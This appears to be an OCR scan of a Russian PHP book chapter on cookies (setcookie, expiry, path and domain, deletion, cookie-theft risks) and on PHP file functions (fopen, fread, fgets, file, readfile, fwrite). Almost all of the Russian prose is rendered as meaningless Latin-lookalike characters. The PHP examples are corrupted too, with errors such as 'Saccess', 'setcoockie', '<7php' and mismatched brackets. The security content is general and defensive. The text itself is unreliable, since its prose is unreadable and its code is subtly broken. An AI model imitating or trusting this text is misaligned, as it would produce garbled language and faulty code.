Bce 310 MBI yXe paccMOTpe/IH, ¥ Ternepb HaM NPEeICTOMT MO3HAKOMMTBCS € MpaK-
THYECKOH 4acThlo ycTaHOBKM cookie u pabortel ¢ Humu. Pabory c cookie ayyiue
BCEro peanu30BbIBATL B caMoM Hauane caitna cueHapus. UMeHHO HU3-32 BO3MOX-
HbIX nipobireM ¢ cookie, CLIeHAPUN MBI TAKXKE pealTM30BLIBAIM B CAMOM Hayale.

Ecnu no PHP-kona, ycranasnusaiouero cookie, 6yner npucyrcrsosate HTML-
KOJl, TO Ha CTPaHMIIE MOXET NMosiBUThes coobuieHue of ominbke npuMepHoO cliie-
nylolIero Buja:

Warning: Cannot add header information - headers already sent by (output started at
/var/www/html/1/cookie.php:8) in /var/www/html/1/cookie.php on line 11

Brumanue: He moey dobasums ungopmauuio 3a20106Ka — 3a20108KU yice omnpaene-
ot (861600 Hauam e svar/www/himi/1/cookie.php:8) e /var/www/html/1/cookie.php
6 cmpoke 11.

Yrobbl He CTOAKHYTBCS C TAaKOH OLIMOKOM, BCEraa MULIMTE KOX HCMONb30BAHUS
ceaHca M yCTaHOBKH cookie B camoM Havane, no HTML-kona u oo noakiioveHus:
aiinos ¢ MOMoOILBI0 require WM include, rae Takke moxer 6bite HTML-kon,
13-3a KOTOPOro Mpou3oiiaeT omunbKa coxpaHeHHsl NapaMeTpoB Ha aucke Mojib30-
Bareisi.

Wrak, mia npuMepa Hanwuiem cueHapuit, Kortopstit Gyner otobpaxars Ha crpa-
HKLIE KOJMMYECTBO ee MPOCMOTPOB KOHKPETHbIM mMoib3oBareineM. [Lid aroro
y MOJB30BATENs1 HA KOMMBIOTEPE B cookie HYXHO COXPaHWUTH UENIOYHCIICHHYIO re-
peMeHHYI0, 3HayeHUe KOTopoif OyleT yBeJIMYMBATHCS HA EAMHULY C KAXIBIM
NPOCMOTPOM.

B camom Havyane CLUEeHapus 3aBOAMM MEPEMEHHYIO!

<?php

Saccess++;
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setcookie("access", S$Saccess);

7>

B neppoii cTpoyKe 3HaYeHHUEe NMEepPeMeHHON $access YBEJIMYMBAETCH HA €IMHILLY.
Ecnu nepeMeHHasi He CyLIECTBOBAaNa, TO €€ 3HAYEHWE YBEJIMYHMTCHA C HYNeBOro
Ha 1. Bo BTopoii cTpouke MBI COXpaHsieM 3HaYeHHe NepeMeHHoit B daiine cookie.
B HTML-koue npocto BHIBOAMM HA CTPAHULLy cooBLIEHHE!

<?php
print("Bu BuImMTEe 3TY CTpaHuuy Saccess pas");

?>

3anyctuTe cueHapHit 1 o6HOBUTE CTPAHMILY HeckojibKo pa3. Cueryuk 6Gyaer vee-
auuusarsesi. Kak ato npoucxoautr? Kaxkasiii pas, Kkorna Bl 0OHOB/ISETE CTpaH#H-
1y, 6paysep KJIMEHTa BHIMT, YTO [UIS HAHHOM CTpaHulibl ecThb (aitn cookie, 1 or-
npasiser ero cepsepy. Murepnperarop PHP cosnaer PHP-nepementbie ¢ Takum
K€ MMEHeM, Kak y nepemeHHoi cookie, u Bbl Moxere paborarh ¢ HUMM B aiine
clLeHapus.

Eciny 3akpbiTh CTPaHMLy W 3arpy3dTh €€ 3aHOBO, TO cHeTYHK Oyuaer cOpouleH.
Maiin cookie HE COHEPKUT CPOKA XPAHEHUs!, MOITOMY OH Obljl yaaieH mocne 3a-
KpeiTsi Opaysepa. YroObl 3TOro Heé NpPOM30LLIO, B TPETHEM MApaMETpPe HYXKHO
yKasath BpeMsi aeiicTBusi cookie. [Uisi 3TOro yauie BCEro MCMONB3YIOT OAMH W3
JIBYX crnocobos:

(1 ecnu mapameTp AOKEH XPaHUTHCA KPaTKOBPEMEHHO, TO MOXHO HCHOAb30BATH
(yHKUMIO time (), KOTOpas BO3BpalllaeT Tekyllee Bpems B cekyHmaax. K sromy
BpEMEHH MpUOABNsEM KOJMYECTBO CEKYHI, B TEYEHHE KOTOPOro HyXHO Xxpa-
HuTh napametp. Hanpumep, napamerp no/pkeH ObITh NOCTYNMEH B TeueHHe
10 MUHYT mocnie 3arpy3ki CTpaHHMLBL. DTO MOXHO PeaIn30BaTh Mepenadei
B 'KayecTBe TPEThbero napamerpa (pyHKUNMK setcookie() 3HAYEHUS time ()+600.
Takoe KpaTKOBpeMEHHOE XPAaHEHWE MapaMeTpoB MCIIONL3YeTcsl B Cy4asx pa-
Botel B obnacTax, Tpebylowux asropusaunu. Ecnu B Teyenue 10 MUHYT He
ObUTO AKTHBHOCTH, TO cookie yadaasieTcs ¥ Moas30BaTEN0 Heo6X0AMMO 3aHOBO
[IPOXOIUTE ABTOPU3ALIHIO;

0 s NONTOBPEMEHHOTO XpaHEHHs! [apaMeTpoB MOXHO YKasaTb IOCTATOYHO
00JIbLLIYIO HATy ¢ MOMOLIBIO (PYHKUMHM mktime (). ITOil GyHKUMHN repenaercs
6 mapaMeTpoB, ONpenesOMX BpeMst KOHLA JeifcTBus cookie: yachl, MMHYTHI,
CEKYHIIbl, Mecsil, uucno, ron. ObpatuTe BHUMAHHME, YTO MECALl MAET paHbile
natbl. B HEKOTOpBIX cTpaHax Mcnosb3yerca Apyroil dopmar, rae cHavyana uier
[1aTa, a [OTOM YXe MecsLl.

Crnenyiowinit npumep 3amaet Bpemsi neiictBusi cookie no 00:00:00 1 susaps
2010 ropa:

setcookie("access", S$access, mktime(0,0,0,1,1,2010));

A nymalo, 4TO 3TOrO YKMCeNa A0CTaTOMHO /s Jioboro caifta.
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[asaiite BcrioMHHM, 11 yero HyxkeH ceanc? OH MO3BONAET COXPAHUTD ITepPeMeH-
Hbie, YTOOBI OHY ObIIH JAOCTYIHBI NPY NEPEXOAE OT CTPAHMIBI K CTPAHHULE, W JUISl
aTOro ucnonbsyores aiabl cookie. A Tenepb noaymaiite, Kak aro peanusyercs?
Herpyuno goranarses, 4to ceaHc 1MpocTo co3naer (aitabl cookie ¢ HyKHBIMU fe-
PEMEHHBIMM W YyCTaHABJIMBAET UM JiBa CBOMCTBA:

O Bpemsl AeifCTBUSL OCTAETCS MYCTHIM, YTOOLL MAPAMETPHI YHUUTOXAINCH NOcie
3aKpbITHs Bpaysepa;

0 nyTs M AOMEH ycTaHaBIMBAIOTCH Tak, 4robsl daitn cookie GpliI gocTyeH BeeM
cTpaHuLaMm caiirta.

Bor 1 Bech ceanc.

Hurepnperatrop PHP moxer ObiTh HacTpoeH TaK, 4TO HepeMeHHbIe Lis napaMer-
pos cookie He Gyayr cosnaparbes. B aToM ciyuae MOXKHO HMCIIOIB30BaTh MACCUB
S$HTTP_COOKIE_VARS. Hanmpumep, SHTTP_COOKIE_VARS("access"] BEPHET 3Haue-
HUE TepeMeHHOW $access. BMECTO S$HTTP_COOKIE_VARS MHOMYCTUMO YKa3aTh
MCEBJOHMM ITOr0 MAaccHBa: $_COOKIE.

Crepylomuii Kofl paspeiuaer JAoCTyn K cookie TONbKO CUEHApHMSIM M3 Katajora
admin Ha cepsepe mydomain.com, 7. e. cuexHapusam ¢ URL http://mydomain.com/
admin 1 6osree HU3KOro YPOBHSL:
setcookie("access", S$access, mktime(0,0,0,1,1,2010),
*fadmin®, "mydomain.com");
Tako#t kon paspeliaer AocTyn K napamerpam u3 cookie Tojsko H3 omHoro daii-
aa — Jadmin/index.php:
setcoockie("access", Saccess, mktime(0,0,0,1,1,2010),
" fadmin/index.php", "mydomain.com");
A ecliM HYXHO COXpaHHTb B cookie repemMeHHylo, KOTOpasi COAepXUT MaccHB?
Ha nepselii B3rasin, Bce npocro:
<?php
Saccess[0]=%5access[0]+1;
Saccess([l]=Saccess[1]+2;
setcookie("access", Saccess, mktime(0,0,0,1,1,2010));

>

B nanHoM npumepe coladercd MaccHB Saccess, B KOTOPOM YBEJIHYHBAIOTCS 3HAYE-
HUSl ABYX 37eMEHTOB. 3HaueHue MepBoro 3jeMeHTa yBeiuuusaercst Ha 1, a Bropo-
ro — Ha 2. 3anyctute cueHapuii ¥ obHOBUTE ero Heckoinbko pa3d. ObBparute BHU-
MaHue, UTo 3HayeHHsi o6OHX 3MEMEHTOB HUKOIIA He MpeBblualoT 9, T. e. cocTosT
u3 oaHoro cumsona. [lomyuaercsi, 4To MPOCTO COXPAHUTE MEPEMEHHYIO $access
Oyser HeBepHbIM peleHneM. HyxkHo coxpaHaTh KaXIbli 2JIeMEHT B OTAENbHOCTH:

<7php

Saccess[0]=Saccess[0]+1;
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Saccess[1]=Saccess[1]+2;
setcookie('access[0]", Saccess[0], mktime(0,0,0,1,1,2010});
setcookie("access([1]", Saccess([l], mktime(0,0,0,1,1,2010));

>

C ycraHoBKOI pazobpanuch. A KaK Xe MOXHO ynansats cookie? Hukakue noron-
HUTeIbHBIE (QYHKUMM He HYXHbL [locTaTouHo TOJLKO YCTAHOBHMTh MNapamMerp
C HYXHBIM MMEHEM, HO ITpH 5TOM YKa3aTh HyJIeBOE 3HAYEeHWE BPEMEHH ero Xus3-
HH. Takum obpasom, mapameTp Oymer yaaneH u3 cookie NnMpu 3akpeITHH Opaysepa.
Hanpumep, cneayioliuit Kol yoaasieT napamMeTp access:

setcoockie("access") ;

OpHa cTpaHHWIA MOXET YCTAHOBMTh HECKOJIbKO MApaMeTpoB, HO ymaneH OGymer
TOJIBKO access, @ BCE OCTAIbHBIC OCTAHYTCS 63 M3MEHEHUIA.

Hanocnenok HeoOXomuMo clenaTbh OJHO 3aMeYyaHHe — WMSA NEepeMEHHON MOXeT
COCTOATH TOJIBKO W3 JIATHHCKUX OyKB, UM]p, CHMBONOB MOAYEPKUBAHUSA WIIH He-
¢ucos. Bee ocransHoe sanpelieHo u rpeofpasyercs K CUMBO/IY MOAYepKHBAHMS.
Hanpumep, eciu Bbl Ha3BATH MEPEMEHHYIO KaK $Test@Me, TO MOCHE BLITOMHEHUS
(yHKUMM setcockie() UMA NpeobpasyeTcs B $Test_Me.

[lpobnema B TOM, 4TO MMEHA NMEpPeMEHHBIX HE MOIYT COIepXarh CHMMBOMBI, OT-
JIUYHBIE OT JATMHCKUX OYKB, rnoavdepkuBaHusi W jeduca, moaroMy W B cookie
JeiCcTBYeT TaKoit Xe 3anpeT, uHade Hexb3s Oyner cosmars nepeMeHHyio. Takum
obpa3oM, Helb3sl 0OPaTUTHECS K MEPEMEHHOM $Test@Me, HO MPU 3TOM MOXHO MO-
NBITATHCA CHEAATh 3TO 4Yepe3 MAacCHB CHeayrouuM o0pa3oM: $HTTP_COOKIE_
VARS [ "$Test@Me" ). TONBKO MOMBITKA OKAXETCS HeymauHoit (BB MOMy4YHTE HyJie-
BOE 3HAYEHWE, MOTOMY YTO NepeMeHHas OblL1a neperMMeHoBaHa, U HYXHO IMHUCATH:
SHTTP_COOKIE_VARS["$Test_Me"]).

2.13.3. be3sonacHocTtb cookie

@aiinbl cookie abcomorHo HebesomacHbl, M MM AOBEpATh Henb3s. B Hux He
JOJDKHO XPaHUTHCS HUYEro MPUBATHOrO, YTO MOXET MOBAMATHE HA Ge30MacHOCTh
noJb30BaTesisi B cucTeMe M Ha Ge3onmacHocTh camoro cepsepa. CylllecTByeT MHO-
JKECTBO CrocoboB 3aBIafeTs YYKUMH daitiamu cookie:

O owubku B Web-6paysepe;

O owubku B cueHapusix, nospossiomnme scrpouts B HTML-dbopmy JavaScript-
KO/,

O TposHcKHe MporpaMMmsl.

Xakep Moxer W noamenarh dair. st 9TOro vaie Bcero NMPOM3BOMASTCA Te XKe

NeiCTBUS, KOTOPhIE MOXET BBIMOMHUTH IMONB30BATEb, H B PE3yJbTaTe HA AUCKE

B3NOMIIMKa nospasiercss aiin cookie. Cnepyiouum stanom Oyaer nomnenxa
cookie Takum o6pasoM, 4TOOBI OH COOTBETCTBOBAI JAPYrOMY MOJb30BATEIIO.
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PaceMOTpUM KITACCHYECKYIO 3a1a4y ¢ SNEKTPOHHBIMY TIOMTOBBIMY siukamu. Jo-
nycTuM, 4to BecriaTHbIi MOYTOBLIA cepBUc coxpausier B dailre cookie napamer-
pBI 10CTYTA K MMOYTOBOMY SALIMKY, YTOOLI MPH MOCEAYIOUIEM BXOIE B CHCTEMY He
MPHILLTOCH BBOAUThL AaHHbIE 3aHOBO. Xakep co3fgaer cebe UMK W [TONyYdeT CBO
cookie. Teriepb HeoGX0AMMO H3MEHHTD CBOI (haiin Tak, YTOObI MOYTOBAs cMCTEMA
NPUHAIA Bac 3a APYroro 1oJib30BaTes.

Hudopmauus u3 daitnos cookie AOMKHA ynpoliaTh aBTOPU3ALINIO, HO HE 3ame-
HATDH €e, MI03TOMY XpaHUTe TaM TOJBKO MMeHa nojb3osateseil. [Maponu u mobyro
Apyryio wHGOpMaUHUio, HACHTHQULMPYIOUIYIO MOJb30BaTesA, HEODXOMMMO Xpa-
HUTb OTHEJABHO, @ JIy4llie 3acTABRJATH IOJMb30BATENEH BBOJAMUTHL €€ MPH KAXKIOM
BXOJIE.

2.14. ®ainbl

Pabora ¢ daiinamu — Haubosee MHTEpecHas TeMa ¢ TOYKW 3peHus OesormacHo-
cti. MmeHHO M3-3a HenpaBwibHoro obpauieHusi K ailioBoit cucreme 6bUIO
BajloMaHo Gosnbioe Konuyecrso cairos. JIioboe obpaleHnHe K cHCTEME ONACHO, a
K aiinosoii cucreme — BasoiiHe. B pasdere 3.4.1 MBI paccMoTpuM npumep
OIIMOKM, KOTOPHI 5 HALIEN BO BPeMsi HANMcaHUs 3TOH KHUTH, U BbI YBMIHUTE,
KaK Xaxkepbl MOIJIH ObI B3TOMATh JOCTATOYHO ABTOPHUTETHBIN CalT.

Paiinbl o4eHb YNOOHBI /U1 XpaHEHHsI MPOCTBIX HAHHBIX, TAKUX KaK HACTPOMKH
cajita uau Hebosbluue 610KM HAHHBIX, KOTOpPbIE AOJIKHBI BBIBOAMTHCS HA CTpa-
Huue. Ecnu gaHHBIX MHOTO, TO B 9TOM ciy4yae I XpaHeHUs Jy4Ylle MOIXOMAT
©a3bl JaHHBIX.

W3 PHP-cueHapueB Bel Moxete pabortarh ¢ n106uiM ¢haiiioM cepBepa, Ha KOTO-
PBIif YCTAHOBJIEHO COOTBETCTBYIOLNLEE npaBo Aocryna. C apyroi cTOpoHBI, AOCTYI
N0JIKeH OBITh paspeLieH TONBLKO K TeM haiinam, Kotopbie HeoOX0nHMEI.

INpaBa mocrtyna onpepensiiorcss npaBamu Web-cepBepa, Tak Kak obpauieHue
K (haitioBoii cHcTeMe TMPOMCXOAUT WMEHHO oT uMeHH Web-cepsepa. Eciu cepsep
paboraer ¢ npaBaMu root, TO M3 ClIEHapUs MOXHO Oyner obpaTuThest abCOMOTHO
K mobomy (aitmy, B TOM 44cae M K KOH(MIypalMOHHOMY, 4To Hexopouio. Bei
JIOJDKHBI 3HATh, KaK MpaBWIbHO HacTpouTh cBoit Web-cepBep. O HacTpoiike ca-
MOTO monynaspHoro cepsepa Apache Ha ruardopme Linux Bbl MOXETE NPOYUTATH
B KHure "Linux rimasamm xakepa"” [1].

PaGora ¢ daitiamMu MpoUCXOOUT B TPH 3Tana.
1. OtkpoiTHe aiina.

2. Yrenue win MonupuKaLms JaHHBIX.

3. 3axpriTHe daiina.

JHasaiite paccmorpum ¢ynkuun PHP, xoropsie 1no3BosigT HAM peanrn3oBaTh Bee
91H TpW atana. Tonkko paceMatpuBath (yHKUMM GyleM HEMHOrO B [IpYroM mo-
PAIKE — OTKPBITHE, 3aKPBITHE U YTEHHE,/U3IMEHEHHE.
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2.14.1. OTkpeoiTue cpaitna

(Daiil oTKpbIBACTCH C MNOMOLIBI0 (PYHKUHU fopen (), KOTOpas B oOLIEM BUIE BEI-
IJISITAT ClIeyIoluM obpasom:
int fopen(string filename, string mode [, int use_include_path])

Y byHKuMH TPH rapameTpa, nepsbie 1Ba U3 HUX ABIAIOTCS obsasatenbHbIMU. Pac-
CMOTPHM 3TH MApaMeTpbl:

O filename — uM# Gaiiia, ecau OH HAXOMUTCH B TEKYIIEM KaTajore, WiH noji-
HBIA MYTh.

0 mode — pexuM OTKpBITHA (paiina. 3eck MOXHO MepeaaBaTh CleayloliHe Ha-
YEeHHA

® r — OTKPBITh (paiifl TONLKO VIS YTEHHS;
® r+ — OTKPBIThH (Al /I YTEHMs] U 3aMTHCH;

* w — OTKPAITh (haiin Tonsko wis 3amucH. Ecn oH cyluecTByeT, To TeKyliee
colepxkumMoe aitia yHuuroxaercs. Tekyulas MO3HILMA yCTaAHABIHBAETCS
B HA4ano;

* w+ — OTKPHITH (aiin i uyrenus u ana sanucu. Ecau on cyuecrsyer, To
Tekyuiee cojepxumoe daiina yunuroxaercs. Tekyulas Mosuuus ycraHas-
JIMBAETCsl B HAYano,

e a — OTKPbITb pain st 3anucu. Texkyluas no3uuMsl ycTaHaBIMBAeTCs
B KoHell daitna;

® a2+ — OTKPBITH (haiin wist ureHus: U 3anucu. Tekyllasi MO3UIIMS yCTaHARTH-
Baercsl B KoHell ¢aiina,

e b — obpabarbiBars GuHapubiit daiin. Dror duar weobxonum npu pabore
¢ bunapHsiMu aiinamu B OC Windows.

O use_include_path — HcKarb (aiiln B Karanorax, yKasaHHbIX B JMPEKTHBE
include_path KoH(pUTrypauroHHoro daiina php.ini.

Ecnu otkpsiBaembit dhaitn He cyuiectByer, To oH Oyaer cosnan. Ecau daiin He
cyllecTByeT, To ybenureck B Hanwuuu y Web-cepBepa npaB Ha 3anuch B Katajor,
rae Oyner coapaparbes daitn, uHave daiin cosnark Byaer Helb3s, M cepBep BO3-
BpPAaTUT OUIWOKY.

DyHKIMA BO3BpalllaeT AeCKPUNTOP OTKpbiToro daina wnu false, eciin MOMELITKA
OTKpPBITHS Mpouyia Heyjaauno. Bel nomkHbBl BHHMarenbHO oOpabarhiBaTh BCe
omubku sBopa/seisoga. Ecnu ¢aiin He yganoch OTKPBITh, TO HEOOXOIUMO [pe-
pBaTh paboTy cleHapHsl.
if(Sf=fopen("testfile.txt", "w+"))

{ print("®ain orkpur (S£)"): )
else

{ die("OumBka oTrpuTHA Qalna"); }
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OTKpBIBaTH MOXHO HE TOJIBKO JIOKaIbHbie (ailiibl ceppepa, HO M (aiiapl, pacro-
JIOXKEHHBIE Ha JIPYTHX cepBepax, TONbKO ISl 3TOr0 JIOJDKEH UCIOJIb30BATLCS PO-
tokon HTTP wiu FTP. Hanpumep, cnenyiowasi ctpouyka orkpbiBaer ain no
nporokony HTTP:

Sf=fopen ("http://www.you_domain/testfile.txt", "r")

A Terepb MocMoTpuM Ha pabory c caiintom o nporokony FTP:
$f=fopen("http://ftp.you_domain/testfile.txt", "r")
Kak Bunure, HHYero crpaiiHoro Tyt Het. Bce MakcumanbHo mpocto, U He Tpeby-

eTcsl 3HAHWA CETEeBBIX MPOTOKOJOB. Bce mpoMcxoluT Tak e, Kak u ¢ daitnamu
JokaibHOM GaiiioBoi cHcTeMBl, TONBKO BMECTO NYTH yKasbisaercs URL.

2.14.2. 3akpbiTue chaitna

Bo Bpemst otkpeiTus (aiina OC Bblxessier pecypebl U XpaHeHUs NaHHbIX, Heob-
xoouMeIx wist paborel. Ecin He ocBoboXmaTh Takue pecypebl, TO MPOU3BOIM-
TENbHOCTh CEPBEPA CO BPEMEHEM MOXKET NOWUTU Ha YObUIb, MO3TOMY HYXKHO BCEria
. ux ocBoboxnaTth, a B JaHHOM cilyyae — 3akpwiTh aitn. [Uist sToro cyuecrsyer
byYHKLUUA £fclose (), KoTopas B ODLIEM BHIE BBHITJSINAT CAEAYIOIMM obpazom:

int fclose (int £)

DyukiMKM nepenaetcsi AeCKpUNnTop 3akpsiBaemoro daiina. Ecim Bce mnpouuio
yaayHo, To yHKUWS BO3BpalllaeT true, wHaue false. Chaeayouinit npumep no-
Ka3blBaeT, KAK OTKPBITh U 3aKpbITh Gait:

if (! ($f=fopen("testfile.txt", "w+")))
{ print("OmmGxa oTkpuTHA ¢aina"); }

// Bpecs MOXHO YMTAThE WM USMEHATE NaHHER
fclose(SE) ;

2.14.3. YreHune pgaHHbIX

Ins yreHusi AaHHBIX M3 (aila MOXHO HCIONB30BATH HECKOJIBKO (BYHKIIHIL:
fread(), fgetc(), fgets(), fgetss (). Kaxnas u3a aTHX GyHKuMi ynobHa mwis
ornpeaeneHHoro ciy4as. PaccMoTpUM MX 1O oMepenu Ha MpuMepax.

HaubGonee yacTo Mcnonb3yeMoH nmporpaMMucTaMu (pyHKUMEN Apisercs: fread(),
KOTOpAasi BBITJIAAAMT CIEAYIOLIUM oOpasoM:

string fread(int £, int length)

Y aroit dyHKIMM 1BA MapamerTpa:

O neckpunTop daiina, U3 KOTOPOro HyXHO [MPOU3BOAUTH YTEHHE;
00 konuyecTBO HEOGXOAMMBIX CHMBOJIOB.
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B kavecrpe pesynbrata (DyHKIUSI BO3BpAllaeT CTPOKY MPOUUTAHHBIX HAHHSLIX.
IMpn sToM nmocste BHIMONAHEHMS (DYHKIMK TeKylas nosuums B daiine cMeuaercs
B KOHeIl MPOYMTAHHBIX AaHHBIX, W TIPU CHeLyIOLIEeM Bbi30Be (DYHKLUHMM fread()
OynyT UMTATHCS CNeAyIolHe NaHHBIe.
PaccmoTpum npumep:
if(! (SE=fopen("/var/www/html/1/testfile.txt", "r")))

{ die("File open error"); }

// UTeHue nepBHX CeMM CUMBOJIOB
$s = fread(Sf, 7);
print("<P>Line 1: $s");

// YreHue ocrapumxca 1l cuMBONIOB
$s = fread($E, 11);
print("<P>Line 2: $s");

fclose (SE) ;

Monycrum, uyto y Hac ects daiin testfile.txt, B kotopom HaxoauTes crpoka "This is
a test". B niepBoil ¢cTpotke Koja MBI OTKpHIBAEM 3TOT (hailsi, IpH 3TOM TeKyLuas
NO3ULIKA YCTaHABAMBaeTcs B Hayano daiina. Yurtaem nepeble 7 CUMBONOB C MO-
MolIbIo PYHKUMA fread() M BHIBOAMM MX Ha 3KpaH. Tenepb Tekyuias rmo3uLus
B (hajine ykassiBaeT Ha 8-if CUMBON, W YTEHME HAYHETCS C Hero.

IMepexoaum K pyHKUMHK fgets (). OHA OUEHb NMOXOXA HA fread():

string fgets(int £, int length)

Tak B yem xe pasHuua? MyHKumns fread() YUTAET AaHHbIE, HE obpaluas BHMMA-
HHUs HA nepeBoasl cTpoK. JomyetuM, uto y sac daityl cCopepxXuT aBe CTPOKH:

This is a test
Test file

Tenepe nonpoGyiite oTKpbITh 3T0T thaitn u npouyutars 40 cumBosios. Droro noc-
TATOYHO, 4YTOOK NMPoYnTaTh 06e CTPOKH, U OHM OyIyT BO3BpallleHbl OJHOI cTpo-
KOH. A Tenepb MOCMOTPUM HA CAEAYIOWMNIA Kou:

// YreHue nepBOW CTPOKK

$s = fgets($£, 40);

print("<P>Line 1: $58");

// Yreuue BTOPOM CTPOKM
$s = fgets(SE, 40);
print ("<P>Line 2: §s8");
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3nech mns uTeHUs ucnonbayercs (pyHKuuA fgets (). OHa uuTaer u3 daiia yka-
3dHHOE KOJIMYECTBO CHMMBOJIOB, HO MPEpLIBAET YTeHWE, KOraa BCTPETUT CHMBOJ
nepesona crpokd. Takum oOpasoMm, HecMOTps HA TO, YTO Mbl YHMTaeM MO
40 cuMBOJIOB (AOCTATOMHO Wil 06EMX CTPOK), KAXIBIN BBI30B (DyHKIMM fgets ()
OyneT BO3BpalLATh TOJBKO OXHY CTPOKY.

Wrak, dyHkums fread() ynobHa, Korga HyXHO 4HTath Qaiin, He obpaiast BHU-
MaHHs Ha CTPOKH, a fgets () WIS YTeHHs Paitna nocTpoyHo.

QyHKIMA fgetss () UIEHTHYHA fgets (), HO ITPU YTEHUH YAANAET U3 MTPOYUTAH-
HbIX naHHbIX Bce HTML- n PHP-reru. B obuiem Busie GyHKIMS BBIDASAUT Clie-
AyouHM obpasom:

string fgetss(int £, int length [, string allowable])

[lepBble nBa MapameTpa HaM YK€ M3BECTHBI, a MMOCTEIHUI SBISIETCS HOBBIM. DTO
CTPOKA, COAEpPXallasi CITMCOK PaspelleHHBIX TeroB Yyepes 3amsaTyio. DTO yxKe Ha-
MHOTO JIyqllie, Beflb BbI MOXeTe paspellnTs YreHHe u3 ¢aiina TonbKo 6e3onacHbx
TEroB, HanpuMep, Teros HOPMATUPOBAHUSA: <B>, <I>, <U> U T. .

He nomeruano 661 MMETb BO3MOXHOCTh OBICTPO YBHIETh CTPOKHM (haitna B Biie Mac-
cuBa. MoXHO MpoOYHTaTh BCE CTPOKM B MACCHBE C TMOMOLIbI0 fgets(), HO €CTh
criocob nyqiue — yHKuus £ile (), KOTOpas BHIJIAIUT CAELy0OMUM obpasom:

array file(string filename [, int use_include_path])

[pocTora 3TOro MeToza 3aKAKYaeTcsi B TOM, YTO HE HYXKHO OTKpbiBathb (haiin,
MCIOb30BaTh LMK Ul YTeHUs], 3aKpbiBatTh (aitr. [pocro ykaspiBaeM MM HYX-
Horo ¢aiina u moayyaem MAaccHB €ro coaepXuMoro.

Bce xopouo, HO TyT ecth M Hemocrarok. Jlomyctum, yto aiin 3aHUMaeT Mera-
OaiiT AMCKOBOrO MNPOCTPAHCTBA, HO HAM HYXHO NPOYMTATH TOJBKO MeEpBbIe
10 Gaiit. Dynkuug file() 3arpy3uT Bech haity M H3pacxXoayer Ha 3TO MHOTO pe-
cypcoB. A ecnn K cuenapuio obparsaress mo cetu 100 monssopareneit? Cauuikom
GosblLMe pacXofibl MOTYT TIPHBECTH K 3aMe/UIeHHI0 paboTbl cepBepa M yBelauue-
HUIO BPEMEHH OTKJIMKA.

Hukorna He ucnonssyiite GpyHKUMIO £ile() uia Oonbiiux (ainos, ecnd HE co-
GupaeTecs YMTATh UX LIETHKOM.
Crenyiolmuii npuMep MoKassiBaeT, KAK MOXHO 3arpy3uts ¢aiii B MaccuB M OTO-
GpasuThb €ro Ha aKpaHe:
if (Sarr=file("/var/www/html/1/testfile.txt"), "r+")

{

for ($i=0; Si<count($arr); S$i++)

{
printf ("<BR>%s", Sarr[si]);
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Crenyiomas ¢yHKuns, Koropyio Mbl Oyaem paccemarpupath, — fgetc(). Ona
BO3BpALLLAET OJIMH CUMBOJI M3 (aiina, NO3TOMY B KAYECTBE NapaMeTpa A0CTaToMHO
yKa3aTb TOJBKO JECKpUNTOp (haiiia, M3 KOTOPOro HyXHo untarth. B kauectse pe-
3ynbTaTa QYHKLUHS BEPHET HaM OAMH CUMBOJ B BUE CTPOKOBOI repeMeHHOI:

string fgete(int £)

A nymaio, yro npuuumn padorsl GYHKUMKN fgetc() MoHsiTeH 6e3 MONMOAHHTEb-
HOTO TipuMepa.

Ecnu pocturuyr koueil aiina, 1o Bee (hyHKUMN BO3BpAlIAIOT 3HAYEHHE false.
Ecnu 3anpailuupaeMoe KOJXHMYECTBO CHMBOJIIOB MEeHble, YeM ocranock B ailie,
TO (PYHKUMH BO3BPALLAIOT OCTABLUKECS CUMBOILL.

Euwe pas HanoMuHao, YTO MPU YTEHWM M BbIBOJAE JAHHBIX HA 3KpaH BCe Tern
B Tekcre daitna Oyayr seinoaHsThes. MckioueHueMm sipasercs  yHKUMs
fgetss (), Koropas ynaisier Teru. Ecnn conepximoe daiinia MOXeT HamoaHATLes!
nonbk3oBareieM, To 0ba3areNbHO yaausiiTe Tert.

Sl Hecko/bKO pas BUIEN JIEHThl HOBOCTEN, KOTOPLIE XPaHAT MOC/IEAHHE HOBOCTH
B ¢haite. Ecan nocerures M caiTa MOryT caMocTosITe/IbHO 10BasisTh HOBOCTH, TO
repes; cCoXpaHeHHEeM HOBOCTH M M0CJIE 3arpy3Ky He noMeiaio 6kl yraieHue Teros.

2.14.4. [lononHuTenbHbie PYHKLUNN YTEHUA

ﬂ.Ol'IYCTHM, YTO HAM HeobXxomumo MPOCTO BLIBECTH Ha CTPAHUILY COMEPXKHMOE Ofl-
penenerHoro ¢aitna. [Ins storo ectb ABe GyHKLUMH: fpassthru() W readfile().
Pasnuuue mMexay HUMH COCTOMT B TOM, YTO NEpBOil Mepeaaercs JAECKPUITOP OT-
KpbiToro ¢aiina U oHa BLIBOIWT HA 3KPAH BCE coJepPXKUMOe, HayHHag ¢ TeKyluei
nosuumn. Bropoit mepenaercsi nms aiina, n oHa cama oTKpbiBaer (aitn, yuraer
JlaHHBIE, BHIBOAMT HA CTPAHUILY M 3aKpbiBaeT.

Hanpumep:

if ($f=fopen("/var/www/html/1l/testfile.txt", "r"))
{ print("File opened ($£)"); )

else

{ die("File open error"); }

fpassthru(sE) ;
Hnst paGotbl ¢ dyHKuMEH fpassthru() Heobxoaumo, utobbl aiin ObT OTKPBIT
B PEXHME YTEHHA.

Ecnu Heo6XoauMo BeIBECTH Ha CTpaHWily Beck (haiisi, TO Mpolie BOCIONbIOBATLCS
(pyHKUMEN readfile():

readfile(" /var/www/html/1l/testfile.txt");

Bynbre OCTOPOXKHBI MPU MCIONB30BAHUM (DYHKUMH fpassthru() U readfile().
Jleno B TOM, YTO OHM BBIMOJHAIOT KOA M3 uyuTaeMbix daition. Hanmpumep, eciau
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Bbl BBIBOAMTE HA CTpaHuLy cozepxumoe ¢aivia index.php, o HTML-reru us
atoro ¢aiina éynyr obpaboranst 6paysepom. Ecnu xakep noayuyurt A0CTyn K Moj-
KioyaeMomy adiny, To cMOXET BCTaBUTh B Hero JavaScript-koa. [1pu ucnonnzo-
BaHMM 3TUX QYHKUMIt Bl HE MOXETe MpOBepUTh couepXkumMoe aiiia Ha Jomnyc-
TUMOCTh COIEPKUMOTO.

2.14.5. 3anucb AaHHbIX

Jng 3anucH JAHHBIX MOXHO MCIOJNL3OBATH OAHY U3 ABYX (pyHKUMIA: fwrite()
U fputs(). OHH HUEHTUYHBI U OTIMYAIOTCS TOJILKO HasBaHHeM, NO3TOMY Oynem
UCNONIBb30BATE fwrite():

int fwrite(int £, string ws [, int lengthl])

Y byHKkuMH TpY mapaMerpa, nepsble ABA W3 KOTOPBIX 00s3aTenbHbIE:
